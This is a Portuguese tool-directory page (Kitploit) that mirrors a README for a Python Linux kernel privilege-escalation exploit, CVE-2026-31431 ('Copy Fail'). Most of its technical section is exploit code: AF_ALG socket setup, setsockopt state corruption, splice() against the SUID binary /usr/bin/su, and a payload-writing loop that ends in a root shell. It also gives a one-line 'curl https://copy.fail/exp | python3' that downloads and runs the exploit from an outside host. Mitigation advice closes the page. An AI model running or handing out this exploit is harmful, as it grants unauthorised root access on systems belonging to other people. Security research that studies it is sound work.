Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431 — Exploit em Python para escalonamento local de privilégios no kernel Linux (CVE-2026-31431) usando confusão de estado de socket AF_ALG e splice() para obter escrita arbitrária de arquivos e acesso root. | Kitploit
Ferramentas/GitHubGitHub/abhishekhargan/cve-2026-31431
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubabhishekhargan/cve-2026-31431

CVE-2026-31431

Exploit em Python para escalonamento local de privilégios no kernel Linux (CVE-2026-31431) usando confusão de estado de socket AF_ALG e splice() para obter escrita arbitrária de arquivos e acesso root.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
6há 4 mesesAinda não revisado

CVE-2026-31431: "Copy Fail" - Escalação de Privilégios Local no Kernel Linux

📢 Aviso Legal

Este repositório é estritamente para fins educacionais e de pesquisa em segurança cibernética. O código do exploit é analisado para entender a vulnerabilidade subjacente, facilitar a correção e desenvolver estratégias defensivas. Não use isso contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.

📝 Visão Geral

"Copy Fail" é uma vulnerabilidade crítica de Escalação de Privilégios Local (LPE) encontrada no Kernel Linux. Ela permite que um usuário sem privilégios obtenha acesso root explorando uma falha na forma como o kernel lida com operações de memória entre o sistema de arquivos e a API de Criptografia Assíncrona (AF_ALG).

⚙️ Como Funciona (Análise Técnica Detalhada)

O exploit em Python fornecido combina uma série de syscalls e interfaces obscuras do Linux para alcançar uma escrita arbitrária fora dos limites (OOB) na memória do kernel, que é então convertida em uma escrita arbitrária de arquivo no disco.

Aqui está a análise passo a passo da cadeia de ataque:

1. Inicialização da Interface AF_ALG

root@kitploit:~
a=s.socket(38, 5, 0)
a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))

O script cria um socket AF_ALG (Família 38). Essa interface permite que aplicações em espaço de usuário descarreguem operações criptográficas para o kernel. Ele especificamente solicita uma cadeia de cifra AEAD (Autenticação de Dados Associados com Criptografia) combinando HMAC-SHA256 e CBC-AES.

2. Confusão de Estado via setsockopt

root@kitploit:~
v(h,1,d('0800010000000010'+'0'*64))
v(h,5,None,4)

O script manipula o estado interno do socket usando setsockopt. O payload hexadecimal e o argumento None são cuidadosamente elaborados para acionar uma condição de limite ou estouro de inteiro no gerenciamento de buffer da API de criptografia do kernel. Isso "falha" a operação de cópia com segurança dentro do kernel, deixando o socket em um estado inconsistente e vulnerável.

3. Transferência de Dados Zero-Copy com splice()

root@kitploit:~
n=g.splice; n(f,w,o,offset_src=0); n(r,u.fileno(),o)

Este é o núcleo do exploit. Em vez de ler dados para o espaço de usuário e escrevê-los de volta, splice() move dados diretamente entre descritores de arquivo inteiramente no espaço do kernel. O script abre /usr/bin/su (um binário SUID root) e tenta fazer splice de dados dele para o socket AF_ALG mal configurado. Como o estado do socket foi corrompido na Etapa 2, a verificação de limites do kernel falha durante essa operação zero-copy.

4. Loop de Injeção do Payload

root@kitploit:~
e=zlib.decompress(d("78da..."))
while i<len(e):c(f,i,e[i:i+4]);i+=4

O script descompacta um payload comprimido (provavelmente um pequeno shellcode ou blob binário modificado). Ele entra em um loop, enviando esse payload 4 bytes por vez para o buffer do socket corrompido. Devido à falha na verificação de limites, essas escritas de 4 bytes caem em offsets arbitrários no cache de páginas do kernel—o espaço de memória exato onde /usr/bin/su está carregado.

5. Escalação de Privilégios

root@kitploit:~
g.system("su")

Ao sobrescrever ponteiros de instrução específicos ou verificações lógicas dentro da versão em cache de páginas de /usr/bin/su, o atacante modifica o comportamento do binário. Quando system("su") é chamado, ele executa o binário SUID modificado. O binário roda como root mas pula a verificação padrão de senha, levando o atacante diretamente a um shell root.

6. Exploit

Baixe e execute copyfail.py no seu sistema Linux ou use a solicitação curl abaixo para execução rápida

root@kitploit:~
curl https://copy.fail/exp | python3 && su
id

https://github.com/user-attachments/assets/1f6c9365-710e-4241-889f-cb30af6d6f2e

🎯 Impacto

  • Severidade: Crítica
  • Vetor de Ataque: Local (Requer execução na máquina alvo)
  • Impacto: Acesso Root Completo, Bypass de todas as permissões de arquivo e perfis SELinux/AppArmor.

🛡️ Mitigação e Defesa

  1. Corrija o Kernel: Aplique os patches de segurança mais recentes fornecidos pela sua distribuição Linux (Canonical, Red Hat, Debian, etc.).
  2. Restrinja AF_ALG: Se o descarregamento criptográfico não for necessário para suas cargas de trabalho, desative o módulo do kernel af_alg adicionando blacklist af_alg em /etc/modprobe.d/blacklist.conf.
  3. Perfis Seccomp/AppArmor: Restrinja a capacidade de usuários sem privilégios de usar splice(), socket() (especificamente a família 38) e setsockopt() usando filtros Seccomp estritos.

📚 Referências

  • https://xint.io/blog/copy-fail-linux-distributions#the-exploit-4
Baixar ferramenta